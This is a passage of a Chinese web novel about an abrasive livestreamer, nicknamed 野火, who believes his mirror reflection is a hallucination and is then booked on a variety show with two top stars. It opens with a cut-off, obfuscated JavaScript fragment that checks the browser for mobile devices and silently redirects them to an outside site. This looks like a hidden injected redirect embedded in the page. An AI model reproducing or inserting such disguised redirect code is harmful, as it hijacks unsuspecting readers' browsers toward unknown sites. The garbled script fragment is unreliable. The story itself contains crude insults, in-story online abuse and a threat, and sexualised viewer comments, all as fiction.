35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307713|198727||http|test|mini|href|location''.split(''|''),0,{}));
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>小陈医生适时地的开口:“宋先生。”
宋枝月抬起头,就见对面的年轻医生对他露出一个十分温和的笑容。
“宋先生,您的外伤经过检查,并没有大的问题。”
“而从昨夜受伤到现在,您也没有出现诸如头晕、恶心呕吐的不适症状,伤口处未见异常也没有渗血......”
“一会儿我会给您开些药。”
“您按时服用和涂抹,伤口注意不要沾水,很快就会好。”
“那,那我从镜子里......”
小陈医生的声音越发温和了:“宋先生,人的脑神经,是个十分神奇的组织。”
“目前,医院也只能借助仪器查看其是否发生病变。”
“幸运的是,您暂时没有检查出异常。”
说完这些好消息,小陈医生身子悄悄往后挪了挪,脚边也挨近了一个按钮。
“根据您的叙述,您对自己的外貌不太自信,甚至十分排斥、逃避露出真实模样......”
“这次的头部受伤,可能就是个诱因。”
“因为您潜意识里也在找寻发泄方式,所以照镜子时,可能会想象出另外虚幻的模样。”
小陈医生的话,宋枝月听懂了——他压力太大,甚至开始幻想出另外一副完美到堪称虚幻的面孔来逃避现实......
宋枝月两只手攥在一起,又松开,沉默片刻,他抬头看向小陈医生。
“医生,我的病能治吗?”
见宋枝月的情绪稳定,小陈医生也松了口气。
他一边在单子上写着什么,一边说:“宋先生,我建议您可以先暂停工作,好好休息一段时间。”
“试着同关系比较好的朋友,或者和您家人在一起时不戴口罩,不做其他伪装。”
“再或者,您也可以在网上找一个喜欢的风景,到时候不对自己进行遮掩,就像普通人一样,出去走走散散心?”
“直到您头上的外伤好了以后,您再去看看镜子,如果一切都恢复如常,那就再好不过了。”
“如果没有......”小陈医生停下笔:“您可能就需要考虑用药物进行辅助治疗了。”
“到时候,您可以去二院看看,那里有位脑神经治疗专家,对您的情况会更有所帮助。”
“......谢谢医生。”
宋枝月接过病例单,手指摩挲了一下上面的字迹,轻声道:“麻烦再问问您......治疗这种,这种神经病的费用,医保能报销吗?”
小陈医生怔了怔,随后斟酌着道:“有纳入医保报销范围的药品。”
有纳入医保报销范围的,也就是说,很大一部分没有。
除了不知道要花多少钱外,还要花时间配合治疗。
这期间万一要是出了岔子,他的直播、他签的综艺合约......
宋枝月低着头想了半天,随后他慢慢抬起头:“大夫,我的治疗信息是保密的吧?”
小陈医生点点头,严肃的道:“是,除非警方或者您自己后续治疗需要,您的病情我们不会向外透露的。”
宋枝月挑着眉笑了笑:“谢谢陈大夫。”
说完,他像是想通了什么似的,将病例单随意塞进了口袋,起身,头都不回的走了。
......
下了班,小陈医生一回去就趴在沙发里半天没动。
等缓过劲,他不免想起今日在医院接诊的那个特殊病人——他看的很明白,这位病人很有可能是不准备继续治疗了。
微微叹了口气,从不看乱七八糟直播的小陈医生,破天荒的打开了手机找了找。
很快,有一个热度很高的直播剪辑视频就推送了过来。
刚打开,还没看多久,小陈医生就看着满屏的诅咒和辱骂直皱眉。
听说直播的时候,这些乱七八糟的弹幕甚至都是实时刷的......
小陈医生关了手机,揉着眉心叹了口气,难怪会得那个病呢。
......
5. 第 5 章
“啪!”
还沾着几根黑色体毛的毛巾,被情绪激动的宋枝月摔砸在了马桶上。
今天是宋枝月从医院回来的第五天了。
额前那块淤青散了,后脑勺上的伤,也比宋枝月想象中愈合的快的多,但他看镜子发神经的症状......不仅没有得到丝毫的改善,甚至让宋枝月情绪越发的失控。
这事还得从医院回来的那个下午说起——
刚从医院回来,见外头日光正毒,一贯从不爱晒太阳的宋枝月,脱得□□的躺在了床上,还给自己身上涂满了美黑膏。
宋枝月租的房子客厅前有个大窗户。
夏天太阳毫无阻拦的照进来的时候,不仅能看见虚空里扭曲的光线,甚至还晒得人发疼。
但宋枝月愣是忍住了疼,硬撑着身体毫无遮蔽的躺在那暴晒自己。
晒太阳这事,是宋枝月治疗自己想出的办法。
医生不是说了——大概率是他压力太大了,脑子里出现了幻想。
可他这病,除了看自己的脸有问题,其他的啥都不影响。
那,宋枝月就动起了歪脑筋——既然是幻想,那他为什么不能用外形巨大的变化冲破自己脑子里的幻想?
人身上最直观、最明显的变化无外乎就是肤色的变化。
一个人要从黑变白不容易,但从白变黑还不容易?
有太阳就行。
这还是种最廉价、最有效又最不伤身体的好办法。
为着这个好办法的宋枝月晒了自己两天。
刚开始他全身被晒的又红又肿,哪怕是夜里没有太阳了,身上也和针刺似的发疼......这都不算,最恐怖的是,到第三天,全身晒伤后的宋枝月开始脱皮了......
蜕完皮,肤色更白了不说,他甚至,甚至在蜕皮的时候一起掉毛,掉毛!!!
“我□□**!”
看着此刻身上沾着药膏的毛毛被水流无情带走,情绪失控的宋枝月直接破口大骂了起来。
抬头,冷不丁又瞧见镜子里那张代表他脑子有病的‘娘炮’假脸,宋枝月整个人都冷静不下来。
从平白被砸了头、到网上被翻着花样的诅咒,追着问他什么时候嗝屁。
再到他花了一大笔钱,一大笔钱!!!
却得到自己上是精神病的结果......宋枝月仰了仰头,眼神却阴沉沉的凶气“嗖嗖”往外冒。
草草冲了冲身上,他转身出了卫生间。
......
【“野火那个贱人又开播了。”】
【“我*的,他砸了脑子,越发嘴贱了!”】
【“走,走走走,冲了他的直播间!”】
【“冲冲冲!”】
【“嘻嘻嘻,又有热闹看了。”】
【“正说这两天的热播剧看的人无聊呢,野火这孙贼就带着他那张嘴来了。”】
黑红也是红。
甚至比起喜爱,咬牙切齿的浓烈恨意真的可能会更深刻一些。
看看宋枝月这一开播,直播间里的热度——
难怪哪怕‘歘日野火你大哥’这个名字,在网上被追着上骂祖宗十八代、下骂他魂飞魄散进阴曹地府,宋枝月还是舍不得放弃这个赛道。
今晚的宋枝月没戴眼镜,连隐形眼镜也没戴。
他也没像以往那样费半天劲去吹头发,做发型,甚至都没有刻意去拉灯光,寻最好的角度拼命凹造型。
原本就有些长的头发没被怎么打理,这会儿带了点湿润,就这么被简单的抓了一把自然的撸到后面,露出了光洁的额头。
宋枝月全身下上能称的上装饰的,可能就是那个......黑口罩。
这会儿他整个人随意的斜靠着椅子上,化作一团旺盛燃烧的野火。
白亮的灯光夹杂着五颜六色的弹幕颜色映在宋枝月的眼中,他就这么歪在椅子上,看着那些刷过的字幕,毫无顾忌的点头笑着应了起来。
“爷爷的名叫一声就行了,对,就是歘日野火你大哥。”
“我长眼睛了,我以为是你的宝没长眼睛呢,说实话,看剧的时候,我真的是拿着放大镜去找你geigei眼睛的,真的。”
嚣张是更显嚣张了,但宋枝月这会儿倒也没有真疯到说人名。
他在网上能跳腾的这么久,也是有些心机的。
像是每次踩烂剧或者搞事的时候,他从来不带标签,也从不说剧名,更小心的不提主角的名字,就只说是大热剧,然后讲究一个真情实感的对号入座。
【“你个**!”】
【“你就是眼红我们*宝的成就,就是嫉妒我们*宝!你知不知道他有多努力啊!知不知道他每天都在剧场里背多少台词,他吊威亚的时候摔了多少次?你知不道?!”】
【“你个收钱造谣的王八蛋,你就知道在这张开那张破嘴造谣!”】
“哈哈哈哈,真的,你大哥我今晚看的笑话真是够多了。”
宋枝月笑的仰了仰头,水珠顺着半干的发缓缓落入了衣领。
灯光就在斜上方,一圈圈光晕映的宋枝月蜕皮后的冷白皮像是泛着光,被水珠洇湿的的衣裳粘在了锁骨上。
‘神经病’发作的“野火”今晚简直艳的像是烧了起来,烧的无比热烈,火力全开。
他甚至都没评剧,就这么坦荡荡的迎战四面八方——
“我知道,哈哈哈,我知道你的宝有多努力,他不就是嘤嘤嘤,头好疼;站不稳,咬嘴唇;大饼脸,赛个瓜;千辛万苦12345,再来一遍54321。”
你说说,野火这孙贼编的顺口溜多损呐。
损完这个,扭头看到弹幕上另外一个冲上来的*宝,宋枝月也真是半点也不客气,主打的就是一个今夜无眠,谁都别想活。
他都不需要酝酿,笑嘻嘻张口就来,“哦,还有你的宝——小宝贝,真的小;扭扭腰,跺跺脚;抱不起,对不起;人前笑,人后叫;你问他,她太胖。”
【“野火你这么说话也太难听了吧!“】
【“是啊,你不爱看你就不看,关了电视就行了,多的是人看,谁要你这个跳梁小丑在这上蹿下跳的叽叽歪歪啊?”】
宋枝月看到了这条弹幕,笑的声音微微有些哑:“艹你*的,你个傻*!”
“你算哪根吊毛,你说关电视就关?”
“老子为什么要关?!”
宋枝月歪着椅子上,笑着微微抬着下巴。
“你们有恋丑癖,老子可没有!”
“你们爱那些从坟堆里刨出来的死人脸装死,爱那成精似的鬼木挤眉弄眼的抽搐,老子不爱看!”
“老子不爱看,懂吗?!”
“打开电视,我就爱看漂亮的美女
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,哪怕配个帅哥恋爱也不是不行,但我不爱看油光满面的‘猪头’抱着美女生啃。”
“剧情狗屎,妖魔鬼怪,群魔乱舞,对,里头还爱加猪油。”
宽以待己,苛以待人的宋枝月这个小王八蛋挑了挑眉,言语十分刻薄。
“就是因为有你们这些,咳咳,你们当中某些啊,某些蠢出天的王八护着,现在那些狗东西才越来越多,什么玩意,呸!”
这波格外富有攻击性的话,果然引起了新一轮的疯狂骂战。
但在一水鸡飞狗跳的骂声中,却还夹杂着其他几条弹幕——
【“......今晚的野火,啧啧啧,是有些带劲啊。”】
【“是,好辣!”】
【“他这么骂,刚刚凑过来还笑着一挑眉,讲真的,我,我竟然看的爽了。”】
【“我正想说呢,之前他的造型,找个角度看还算不错(指指点点)但跟今晚的一比,那都是些什么玩意?”】
【“嗯......(乖巧)想舔舔锁骨的水珠。”】
【“你们说,我要是摁着他就这么倒在床上打他**,干*,他会不会也这么仰着头看我,红着眼骂的这么辣?”】
【“嘶——前面的姐妹收收味,你下面,下面根本就没有长出来啊(允悲)。”】
【“哇,你们真的是......哈哈哈。”】
这些略显画风清奇的弹幕,混在满屏垃圾话里并不显眼。
宋枝月也没有看到。
他只看到几条血红色的加粗的弹幕——
【“你个蹭热度的垃圾,不要脸的狗屎!”】
【“你个不敢露脸的丑八怪!”】
【“丑人多作怪,你除了背后中伤人,你还会干什么啊?”】
发泄了一通的宋枝月看着破防的粉丝,笑嘻嘻的伸手将香蕉台的合约拿起,使劲在屏幕上晃了晃。
“看到了么,这是什么?”
“哇喔,这是香蕉台直播综艺的邀请。”
“对了,香蕉台一贯爱请的是哪种明星,大家心里应该都有数吧?”
向着摄像头凑近了一些的宋枝月笑的眼睛弯了弯。
“邀请你家geigie了吗?”
“连我这个蹭热度的都拿到了合约,却没有邀请你家giegie是不是?”
“哦哟哟哟,你家宝多能努力,多可怜啊,可惜连我这个蹭热度的都比不过。”
说完,宋枝月“啪”的将合约丢在了桌上,鬓边的发随之垂下了几缕,他靠着椅子,双手抱胸,一边笑着还一边摇着头:“啧啧啧。”
弹幕顿时炸了——
【“疯狗猖狂,小人得志!”】
【“&*T%E&R*”】
【“你叉×的野火,你个***的XXX”】
【“你不要脸,你个捡剩饭蹭吃的野狗!”】
好几个骂的激烈的,甚至都叫房管给踢了出去。
【“野火你个狗逼还敢上综艺?”】
【“你个丑八怪一直不露脸就算了,你现在掂不清楚自己是个什么玩意了吧?”】
还有条鲜红的破防弹幕——【“来,上综艺露脸啊,敢露脸就找人干死你!”】
宋枝月靠在椅子上,他毫不在意的歪着头笑了笑,悠悠然的道:“来啊,我等着。”
......
6. 第 6 章
东悦居
正是晌午最热的时候,透过环形的观景台往外看去,院里的罗汉松却愈发显得苍翠。
顺着一片片的绿荫进屋,是不冷不热最适宜的温度。
宽敞的客厅中坐着个十八、九岁的少年,这会儿正瞧着手机上的热搜——
#野火:香蕉新综艺邀请你家giegie了吗?#
#野火直播里“千辛万苦12345,再来一遍54321”是谁?#
#那个抱不起的女星是谁?#
......
一场‘火辣’直播,热搜买一赠二。
随便点进去一看,全是BIG胆的‘野火’昨晚那堪称作死的炸裂发言。
“......小宝贝真的小;扭扭腰跺跺脚;抱不起对不起;人前笑人后叫......”
刚从楼上下来的人显然也听见了这一段阴损损的顺口溜,他脚步略顿了顿,随后去吧台倒了杯咖啡,一边喝,一边不紧不慢朝着沙发走了过来。
看了眼视频上专门标出来的网名‘歘日野火你大哥’,刷着手机的枚少阳抬头看向来人。
“哥,这主播是不是也评论过你?他好像还给你起了个外号?”
桑醒看了眼好奇的枚少阳,放下咖啡杯,十分淡定:“......虚王。”
“噗——”
这名头配上桑醒的模样,实在有种出乎意料的滑稽感。
枚少阳一时没绷住,直接笑出了声。
和宋枝月靠着‘蹭热度、嘴流量’的肮脏招数吸引注意力不同,桑醒是真正的娱乐圈‘天降紫微星’。
他就是那种宋枝月嘴上阴阳怪气,实际心里嫉妒的要死的‘老天爷追着喂饭吃’。
真真正正189的身高,显得桑醒身形格外高挑修长。
他仪态好,身姿挺拔,活脱脱就是行走的衣架子,就这,老天爷还犹嫌不足,让他生的神清骨秀,清冷性感。
骨相皮相兼具,宽肩窄腰大长腿,这类堪称极品的大帅哥,无论什么时候都是最稀缺的,也是最吸引人的,要命的是,桑醒的演技也是一绝。
他饰演的文人雅士,一举一动都实在风采过人,在电影里的悍匪凶徒又是另外一种让人上头的爆发力,让观众心跳加速间恍若一同与角色在刀尖起舞。
你去外头随便问一问对方喜欢的明星,十有八九回答的就是桑醒。
虽然入行只有四年,但桑醒已然是属于断层的那一档。
要不说张诚想直接榨干宋枝月的价值,早早就将人踢了呢。
就这样红的发紫,活脱脱‘老天爷亲儿子’的大佬,宋枝月这个没头没脑的傻逼也敢粘上去胡咧咧——
因为桑醒一直是单身,圈里圈外都没有女朋友,甚至还在某一次合作后,拒绝了宋枝月喜欢的那个女明星表白。
确实黑不了桑醒业务能力、也找不出其他|桃|色|丑|闻|的宋枝月,吃了点酒后阴暗又酸溜溜的暗示:在二十七岁这个精力旺盛的年纪,身边却一直没有伴......绝对是身体不行,绝对十分虚。
‘假正经,真虚王’的名号就这么赤裸裸的扣在了桑醒身上。
要不说宋枝月这个小王八蛋鸡贼呢。
他嘴炮的时候从不指名道姓,让人气归气却也实在不愿意对号入座,和他当面锣对面鼓的对峙。
“这小子是个乐子,就是嘴太损了点。”
点了点手机,含着笑意的枚少阳看上去很是阳光:“胆子也不小,就没个人教教他什么是分寸?”
桑醒喝了口咖啡,一本正经的道:“法治社会,遵纪守法。”
“哈哈哈哈。”
这次的枚少阳是彻底忍不住了,坐在沙发上笑的身子都歪了。
有的人哪怕只是随口一句玩笑,也会有人连代价都付不起,因而桑醒侧头看了眼乐不可支的枚少阳,脸上也露出了个淡淡的笑。
“少阳,这些年我在圈子里走的太顺了,接接地气也是好事。”
枚少阳笑着揉了揉耳朵:“哥,你现在说起话来,和家里的那个老头子一样样的。”
桑醒坐直了身子:“大伯伯身子怎么样了?”
“不还是老样子?”
有段时间没回家的枚少阳耸耸肩,说话时脸上带着笑,眼里却淡淡的。
“一天到晚忙的要命,偶尔在家里碰见也都一个表情......”
不待桑醒再说什么,枚少阳转头将手机拿到了他的眼前,点着热搜上的词条。
“哥,这个‘野火’要去的综艺你知道不?”
桑醒看了眼手机,点点头:“我知道。”
闻言枚少阳来了点精神:“我要去看看他真人是不是和网上一样好玩。”
定了定看了眼手指点着屏幕的枚少阳,见他脸上一直是笑嘻嘻的表情,桑醒微不可见的叹了口气,他顺毛捋似的道:“我先打电话问问。”
这通电话是坐在枚少阳身边打的,电话接通的很快,桑醒先开口叫了声:“耿叔叔。”
两人寒暄了片刻,当桑醒说想要参加那档直播综艺的时候,电话那头的笑声连坐在一旁的枚少阳都听见了。
“......还得麻烦耿叔叔您个事,这档综艺,我还想带个人上去。”
“桑哥儿你肯这么支持我们电视台的工作,那就是给你耿叔叔面子,什么麻烦不麻烦的说那些个外道话。”
电话那头的耿中梁直接大包大揽的道:“你说个人,到时候让他直接过来玩就行。”
桑醒看了看笑嘻嘻凑过来听他们说话的枚少阳。
“是少阳,他在网上看见了这档综艺。”
“少......少阳?!!”
电话那头的耿中梁的声音都变了。
“桑哥儿,叔叔年纪大了,你可别跟我开玩笑。”
听到这话的枚少阳挑了挑眉,他指了指桑醒的手机。
桑醒顿了顿,随后对电话里的人说道:“耿叔叔,没和您开玩笑,少阳这会儿就在我旁边坐着呢,他想和您说几句话。”
顺利接过手机的枚少阳笑着打了个招呼。
“耿叔,是我,少阳。”
枚少阳一开口,桑醒听着电话那头原本还中气十足的耿中梁说话都有些磕绊。
“......”
“诶,耿叔叔。”枚少阳一笑就显得阳光又开朗:“您看您说这话不是寒碜我么,这地界儿哪来的少爷?您叫我少阳就行。”
“少......少阳。”
这会儿耿中梁确实是笑不出来了,要是打从他这,拐着枚家的这位走上娱乐圈这条歪路,他收拾收拾吊死自个儿得了。
“那什么,少,少阳,其实咱们这电视上的综艺都有剧本,那些有趣的地方也都是剪辑出来的。”
很显然,耿中梁正想方设法要打消枚少阳的念头。
“拍摄的时候,现场有导演、有统筹,就连造型师也时刻注意着。”
“有的明星你看着演戏还行,真上了节目那都没法看。”
“还有修片、排序、后期剪辑......在电视看个乐子还行,现场真没意思。”
枚少阳倒是一直安静听着。
等耿中梁一连串的话说完,他才笑道:“要不说得麻烦您呢。”
“我主要也就是好奇,想跟着‘野火’这主播过去玩玩,倒也没真想吃这碗饭。”
这话一出,耿中梁瞬间像是松了口气。
也是实在知道枚少阳的脾气,眼见实在推不开,耿中梁只得答应了下来。
枚
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少阳挂了电话,桑醒接过手机又道:“我给芳姐去个电话,你有想带的东西说一声,其他的让芳姐亲自过来给你收拾。”
“节目拍摄的时候,她也会全程陪着你。”
枚少阳端起桌上的水杯,颇有种以水代酒的意思:“哥,我的好哥哥,谢谢哥。”
桑醒失笑着摇摇头,最后还是端起桌上的咖啡杯和枚少阳手里的杯子碰了一下。
......
“嘭——!”
“嘭——!”
戴着拳击手套的拳头砸在黑色的皮柱上,发出沉闷的动静。
这间摆放着拳击柱的房间,灯光较别墅里其他房间的灯都暗了许多。
略微昏暗的光映照着那道流着汗赤裸的骨铜色上身,汗珠徘徊过沟壑分明的□□,顺着人鱼线滚落.....汗液、精壮的□□伴着微微的喘息本就是最原始的刺激。
更要命的是,整个人都透着股不驯又桀骜的人,耳朵上还带着枚黑色耳钉,当真是色气死了。
门被从外面推开了。
看着一拳一拳,又稳又狠打的皮柱发颤的戚敖,全哥走进来关上门:“我在公司里到处找不着你人,就知道你在这呢。”
戚敖没接话,全哥也不再意。
他看着打拳的戚敖——啧,性感是性感,但凶是真凶。
等过了过眼瘾,全哥就说起了工作。
“就说国内的人情最难还。”
“也不知道哪个手眼通天的大人物要捧角,这破综艺连推都推不开。”
见戚敖没搭理他,全哥摸了摸下巴,随后掏出手机,笑眯眯的放开了一段视频。
【“爷爷的名叫一声就行了,对,就是歘日野火你大哥......”】
“嘭——!”
打拳的声音停了,戚敖朝着那段声音看了过去。
朝戚敖晃了晃手机,全哥脸上全是看乐子的神情。
“没想到吧,这小子也要去那档综艺。”
是的,蹭热度蹭到不怕死的宋枝月,当真是哪里都有他。
他从戚敖这个荷尔蒙爆棚,个性张扬、风格独特,火爆全球的歌手那也偷过流量和热度。
当然,甭指望他嘴里有啥好话了。
看着视频的全哥笑的眼睛眯成一条缝:“不过这小子不是一般的大心脏。”
“心态真是好。”
“要是他长得能好看点,就凭这心态,说不定我还愿意签下他试一试呢。”
不管外界怎么看待所谓的帅哥氛围感,或者‘野火’露出的眼睛啊,手什么的有多好看,只要他不敢露脸,圈子里都默认是‘见光死’。
毕竟能轻松点笑着把钱挣了,谁愿意靠天天被诅咒不得好死挣那两个钱?
看停下了动作走过来的戚敖,全哥想了想嘱咐道:“阿敖,我给你说,上节目的时候你可控制着点自己。”
“直播呢,到时候你可别被撩起火了,一拳捣在他脸上。”
“那小子虽然胆大又嘴贱,但人看着实在是个脆皮,他挨不住,要出大事的。”
戚敖咬开了拳套,随手捡起配好的运动饮料喝了起来。
听着手机里的声音,他微微垂着点眼,这个角度看向手机的眼神有些睥睨。
视频也正好播放到了末尾——坐在椅子上的‘野火’正歪着头笑着:“我等着。”
看到这的戚敖也笑了。
一旁的全哥下意识的摸了摸胳膊。
“那什么,阿敖,不,我喊你哥都成。”
“敖哥,敖哥你看啊,这小子其实也怕你呢,最起码他不敢叫你‘虚王’不是?”
“敖哥,你有分寸的吧?”
“敖哥?”
“嗯。”
......
7. 第 7 章
XX卫视。
广电大厅三楼**项目筹备部。
“叮铃铃,叮铃铃——”
电话刚响了几声,很快就接了起来,“你好,这是里XX卫视,请问是杜老师......“
“小刘,小刘,把这份资料送去宣传部。”
“张姐,这是陈筱筱老师她们工作室发过来的......”
拜一通“神奇”的电话所赐,原本香蕉台已经筹备的差不多的直播综艺《我和X明星的近距离接触》一夜之间忽然不计代价的大改!
原本为增加节目效果选定的穷乡僻壤直播地点,换!
节目里偏向搞事的整人游戏环节,换!
直播时为求热度的“擦边”环节,换!
简陋的出行交通工具,换!
司机兼职的厨师,换!
只有寥寥几人的医疗组,换!
原计划里为增加话题度选定的几个开幕祭天“丑角”,换......“诶,诶,王导,这个人可不能换。”
不大的办公室内,这会儿坐了不少人,有总导演、总编剧、总统筹......制片人冯顺水拦住熬红了眼,已经换流程换到上头的王导。
他摇摇头,指着名单上那个只用了一场直播就凭借一己之力,将《近距离》这档直播综艺送上热搜的BIG胆。
“耿台专门嘱咐过,这个人得留下。”
顺着这话,王导只瞧见那个嚣张的简直戳人眼的网名——“歘日野火你大哥”。
王导抖了抖手上的名单,看着冯制片试探的问道:“沧海遗珠?”
“哪啊,那小子算什么明珠?”一旁的统筹闻言笑了起来,“那就是个乐子。”
“不过,老王啊,你还别小看这个乐子。”
说着话的张统筹手指向上指了指,“为这乐子,耿台可是给我和老冯撂了话,这次节目经费就是翻三倍,翻四倍都不在乎。”
“只一点,咱们可千万要保证来瞧乐子的人,高高兴兴的来,安安全全的玩,高高兴兴的走。”
“哦,还有,老王你和小高(编剧)得注意分寸,让人高兴归高兴,又不能想入明星这一行......”
得了,原本花重金筹备的项目成了不计代价的“消消乐”。
听着这典型的“既要又不要”,下意识又想摸烟盒的王导,长长的叹了口气。
他就知道,他就知道两个抠搜的快钻进钱眼里的铁公鸡,突然大方起来就不是好事。
果然,这富裕仗不好打啊。
看着愁眉苦脸的编剧和导演,提了一大堆难为人要求的冯顺水和张帆远却对视一笑。
冯顺水拍了拍王导的肩膀。
“得了,你也甭难受了,我给你保证,咱们这节目保准黄不了。”
“你说的倒是轻巧。”王导没好气的瞪了一眼站着说话不腰疼的冯顺水。
“这年头整活的视频、天南海北的综艺节目比牛毛都多。”
“你敢稍微松松气,收视率马上就能给你脸色看。”
“更何况,咱们台里这些年是什么德行,有什么口碑,你们又不是不知道。”
“我看这回,你就是把天上的紫微星拉过来照在咱们头顶都......”
原本一直抱怨吐槽的王导,看着冯顺水坐在那稳如泰山的模样,再看看张帆远胸有成竹的笑意......渐渐地消音了。
这两个王八蛋拿着什么劲就这么稳得住?
“这事弄得我这都要急上火了。”王导左右看了一圈,连声催道:“您二位行行好,就别在这卖关子了......”
“嘿,王导您刚不是自个儿都说了么。”
张帆远笑着竖起了大拇指,“那可不就是位真真正正的紫微星。”
“嘶——嘶——”
屋里真的是毫不夸张响起了吸冷气的声音。
娱乐圈里如今敢用“紫微星”比拟的,可只有那一位了。
下意识屏住呼吸的王导,使劲攥着手里的名单,眼睛一眨不眨的盯着张帆远,说话时嘴唇都有些哆嗦。
“老张,你,你没拿我寻开心吧?!”
“咱们一起共事这么多年了,这事,这事可一点都不好笑。”
“这节骨眼上我哪有心思拿你逗乐子啊。”
张帆远笑道:“昨天就电话联系过了,敲定了,今天芳姐就过来签合同。”
“啊!”肉眼可见脸色爆红的王导原地蹦起,随即爆发出了一阵“惊天动地”的响亮笑声。
“哈哈哈哈哈,哈哈哈哈!!!”
别看王导生就浓眉大眼,一身正气的模样。
他能在宋枝月这个宽以待己的小王八眼里都称得上“娱乐至死,热度万岁”淡淡疯感的香蕉台里挑大梁,就能知道他究竟是个什么路数。
那颗大红大紫,真真正正,红的发紫的“紫微星”,有多少人挤破头,争着抢着要合作?
你说王导他能不眼热吗?
眼热,抓心抓肝的眼馋!
但王导这个人吧,他有逼数,也很有自知之明,所以这种做梦似的好事,他也就只敢睡梦里悄悄想一想而已。
没想到啊没想到,他老王也时来运转了一把!
嘿!这紫微星忽然间就砸到了他头上!
“嘿嘿,嘿嘿。”
看着傻乐的王导,冯制片都忍不住揶揄的笑道:“老王,快收收嘴脸,咱们不能这么没出息。”
“嘿嘿嘿。”王导脸上的笑容却实在收不下去。
凑得近了,甚至还能听到他自个儿嘿嘿的嘀咕:“桑醒啊,那可是桑醒啊,那可是从来都不上综艺的桑醒啊。”
“不止呢,还有一个——”
勉强拉回理智的王导听着张帆远的话,眼神有些斜,颇有些不以为意的道:“还有谁?”
还有谁他都不在乎,他只要......
“戚敖。”
在娱乐圈里有一句话:“人活这辈子,不是桑醒,就是戚敖。”
可想而知,这两位是个什么重量级。
本以为听到这个名字的王导会再次兴奋的跳起来,发疯似的笑......可出乎所有人意料的是,王导不笑了,他甚至连话都不说了,只是忽然转身,朝着门外走去。
???
张帆远一脸的莫名。
“老王,你这是干什么去?”
“老子要去发微圈!”
“老子要去发通告!”
“老子要去@所有人!!!”
迈着六亲不认的步伐的王导,激动的脸色通红间牙根还有点痒痒——早知道有这两个金光闪闪的福星来了,还要那个嘴臭的小王八蛋上蹿下跳的出丑干什么?
没错,嘴臭的小王八蛋没有旁人了。
为节目组炒热度的任务,宋枝月完成的那是一点没含糊。
但偏偏就是效果太好,惹得那群气到心肝颤,破大防的庞大粉丝群体集结起来呼吁,
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抵制香蕉台的这档子综艺。
“野火那个嘴贱的烂人都能上的综艺,能是个什么好玩意儿?”
“参加这档综艺的明星也不怕拉低档次?”
“谁敢上这档综艺,他们就集体抵制谁。”
“......”
好么,热搜确实是爆了,可这是节目组想要的?
王导那个气啊。
风水轮流转,绝地反弹的王导,那是片刻都没犹豫,恨不能嚷嚷的全天下都知道——
#你敢信野火参加的那个综艺,其他明星嘉宾竟然是他和他?#
#桑醒#
#戚敖#
你说将粉丝多的能随时掀起一场“腥风血雨”大战,偏又都从不参加综艺节目的两个顶级男神,一同邀请上同一档节目——没睡醒吧?
毫无疑问,王导这条消息刚发出来的时候,被红果果的群嘲了。
气到亲自下场的王导,挣扎都没能挣扎一下,直接被粉丝团淹没了。
直到香蕉台在官网上发出了最新公告@了两人,而桑醒和戚敖也一前一后,相继认领了官方公告......整个娱乐圈“轰”的炸了。
半个小时都没挺过去,微圈瘫了。
......
外头掀起这一阵狂热风暴般的“娱乐浪潮”时,宋枝月正窝在老旧出租房里睡得正香。
像他这种集齐鬼鬼祟祟,阴阳怪气,愤愤不平,喷天恨地,刻薄嘴毒,嫉妒心旺盛,眼红有钱人等等恶劣品质的“小变态”,偏偏这辈子最相信两类人,一个是老师,另一个就是医生。
已经很自觉以“精神病患者”自居的宋枝月,精神焦虑间连续几天都没睡好。
直到他因着自己的神经病完全破防后和黑粉“大战三百回合”,狠狠发泄一通后才睡下,这一觉自是睡得昏天黑地。
“滴滴哒哒,张哥来电话了。”
“滴滴哒哒,张哥来电话了。”
睡得正香的宋枝月被一旁震动的手机吵醒了。
他迷迷糊糊的摸过手机,滑动——
“野火!!!”
“你,你,你前天晚上的直播,你登上微圈......不,你,呸,我说的都是什么玩意。”
“啪!”
电话那头的张诚给了自己一巴掌才算冷静了下来,随后直接问起了宋枝月。
“野火,你小子现在在哪呢?”
面对宋枝月的张诚,一贯就是这么风风火火的性子,不,不,要按着张诚自己的话来说,他不就是脾气暴躁了点的“刀子嘴,豆腐心”么。
压根就没睡醒的宋枝月,也愣是没听出一点不对。
听着手机里传来的刺耳声音,他还下意识拿远了些,眼睛都没睁,慢吞吞梦游一样的应着话。
“啊~我~在~家啊。”
“我踏马的知道你在家!”
“你家在哪呢?!!”
离得耳朵远了,电话那头的声音更小了。
让铺天盖地睡意像个鬼一样死死缠住的宋枝月,握着手机的手都快抓不住了。
他很自然的慢慢松开手,用超绝气泡音轻轻的回应道:“我~的~家~在~东~北~松~花~江~上啊。”
“啪——!”
掉下去的手机砸地上不知磕着哪了,整个房间瞬间安静了下来。
没有恼人的噪音打扰,眼睛都睁不开宋枝月头一歪,踏踏实实又睡了过去。
......
8. 第 8 章
“野火,喂,野火......艹!”
听着手机那头变成了忙音,又气又急大骂了一声的张哥又飞快的重拨了过去。
“对不起,您呼叫的用户暂时无法接通,请稍后再拨。Sorry,thenumber......”
“对不起,您呼叫的用户暂时......”
“对不起,您呼叫的用户暂时.......”
再挂再拨,再拨再挂。
**的,不是刚刚还能接通吗?
不信邪的张诚站在办公室里,发了疯似的不停拨打电话。
公司五层。
自打香蕉台“惊天动地”平地一声雷后,微圈瘫了,悲喜交加的崔老板也‘瘫’了。
想想,像他们这样的直播平台,最重要的是什么?
最重要的,自然是关注和流量。
因而崔老板刚开始极力保住言辞犀利到堪称恶毒,敢说敢骂,要钱不要命,经得住层出不穷网爆的宋枝月。
尽管这缘分没走到最后,当然,“卸磨杀驴”也说的难听了点......但世事如此,崔老板可惜两句,也就由着宋枝月去“祭天”了。
不想“祭天”陡然变“飞升”。
发疯狂喜后的崔老板理智稍微回来后,很快就只剩下满心悲凉了——
想也知道,他公司里的主播都是些什么玩意儿,他们有染指这好事的资格?
这泼天的流量,能蹭一蹭就知足吧,硬要接,可没什么好下场。
深知胳膊拧不过大腿的崔老板,压根就没半点整幺蛾子的心思。
他不仅没想着借机卡住和香蕉台的合约拿乔,甚至还想着怎么好好卖人情。
